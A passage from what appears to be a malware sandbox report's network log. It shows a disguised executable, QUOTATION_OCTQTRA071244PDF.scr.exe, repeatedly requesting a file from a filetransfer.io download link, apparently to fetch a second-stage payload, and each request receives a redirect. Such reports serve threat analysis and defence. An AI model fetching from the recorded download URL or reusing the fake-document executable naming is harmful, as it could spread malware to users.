6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50175	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:52.240434885 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:52.943844080 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HvTXHfSqG5lUOzw5EoTPYv9lSoUH8%2BK4FI6fFb9tyr0TbZcFRaVn3x4mqXzdhgDKqK1G%2BZm4y%2BVbhpo1mJn%2FIUT%2Fna9JQHmsF1prhZXWzjBKEk3JH8d%2Bg3A47cjpfg7wCPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f14fff8431c-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50177	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:53.980518103 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:54.626101017 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YAf%2Bx09EB2l9vVlotfegGFQHehtLnASdR6TLfhbfmvK%2FbsRtxDPGuS5mQiemkV0TDYXn1NFmIUuMqr2UbA8SecPt2bNqlvpL%2FGqXk%2Bd0a7BBz2iGEZOSo%2FczP62uwZWZkS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f1feaa0c32e-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50178	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:54.633280993 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:55.277395010 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7RvaFZuNjuK8hNyYqt0yUtlknRSI8G2SGZVL4FUCxnt47dOcZKrXH3yGkDkhsKAsv5G4aYpkokXR7tJMQNkaRIefCPFI67JjaUT2YDS1xE1PmL%2FMJGi3z57Snx6OV6op6ms%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f23f959c46d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50181	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:58.636145115 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:59.272895098 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEiSQvMmwhnfdTcTXKdLgH1rXOKszHb4COH1%2F7JFPht7hNOlxQwJRGAMk15HizR6F4dbBcJsmuBXYE1uy7fqH3zKpQWmsEJ5Anl73xd2SdrDA5rOULwAGtAhNIcfwfh3JeE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f3cfadd333c-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50182	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:59.282094955 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:59.855920076 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SAjXXHBWWobgkTrnBg9RUQ6CJKA53M3OTgYJo355oRVKbN2dFtrDcc1Uctvazz7iolbifK7G47WhwU9QU3gq97Vs63ZCKo6uj1Yx1GWy8pr%2F4H%2F4zwkEwJV6%2FWfXWYvRpDo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f411da241f2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50185	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:03.177222967 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:03.839365959 CEST	830	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kv%2FS6PX7Vh4OsVv7UAclXfLVhTqQd3SsaDK4wdpumUfo%2F4gDJkXgc9pIhdYs18uMS4leBzNSMNHOs%2B5%2FeimwBs4XnfoyIAZUM4My7dyMW8sDhJCss7aNLIwVHS%2FCRyj6g9U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f597bba4370-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:25:03.974910975 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50188	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:07.368396997 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.016761065 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ERoEz7MvHFrUdnhaSEtEIaP8kGvCtgWVy1ViJoev3oa7ETnAdQlzREhQGTom5So7lBy3msq1spJqrj2bkCcNarygEMizDiI7Xs8LAYfLLuGvhWI2NR8mzNsNBfsX%2FPQ8edY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f739be443cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:08.020116091 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.216968060 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uKw8ojTeqDeTkjDknCO0RqtRtnQgAsVU0LZKdt4tvKz5fJ6FWY9L%2FtH5BLXXngbl6cnEgBJ3hE1RwpDg5oR7YhAOiWTDJ5J46Cmm4Aou6ZyQB400HVkyavs9FoDWMMHqRHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f756ced43cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:08.219350100 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.412153959 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KmVbNzHkldHKUWPK8%2B6LQloT3nug%2B0mKqJtnwKIo30gayPKEHGLz%2FzRh%2F9OPWLWOwpcfvLGA5Na3JqhLftVaQpB6AfRl8QFD3ZVIvDGxCu6uknVjAeWTsDCj%2BXt%2Fp39gJ5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f76ad7343cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:08.414349079 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.607914925 CEST	863	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xUWYy3hl6BHxoiNiV18%2FOf3jgN1aJBP%2BRWUlwhJuDwtnMG2xvQa8SnMNPnsIy7vPpI2JY%2FCylq8MgxgTK6CC3CjcFEeEMLQiMDbrGHspNV05JCcEm%2FWfdD0TFKFUS4bnqEQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f77ee3243cd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:08.608742952 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.802886009 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FNz4WPpzOn5XVi%2BlIpaFDgOJuz1DmKKGtxciOZ4xzLIbM7WRQxsDQUoTDBHTLSD4J1gdwMfab4knElxADn3XOaHVwgbDVrl%2Bmqw%2FOjVwT%2B6ewpVYJ4Si%2FR%2FmVjxDkMGdvwM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f791f0743cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:08.803641081 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:08.996722937 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H9QXuHIhaQeH3Vk0Vdj%2FGTLq0T%2FFh3c7GyqLmdtFLvjN8gOU4nLUz%2FtKrV8IkmED%2FIdN93Py%2FTkvQlU289dAtAMmixSlOG%2Bu%2BR2yLdS9bcJWgX7iWBrg3jf1UPGTqfSWPho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f7a4ff343cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50192	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:09.017203093 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:09.565555096 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P17rHgUb8o2aqtFHqoxZM1FcTPNZJlW8McGTghLkohsUgcLnJVQhVGAJ2x9Ao8AkTcuY1fkiLgppGu9VXp4tkD4ne75WAXu6915Sm16GyNukP1yeBF8Gq81XGHhC0j%2BpZa4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f7dd98f42c1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:09.570893049 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
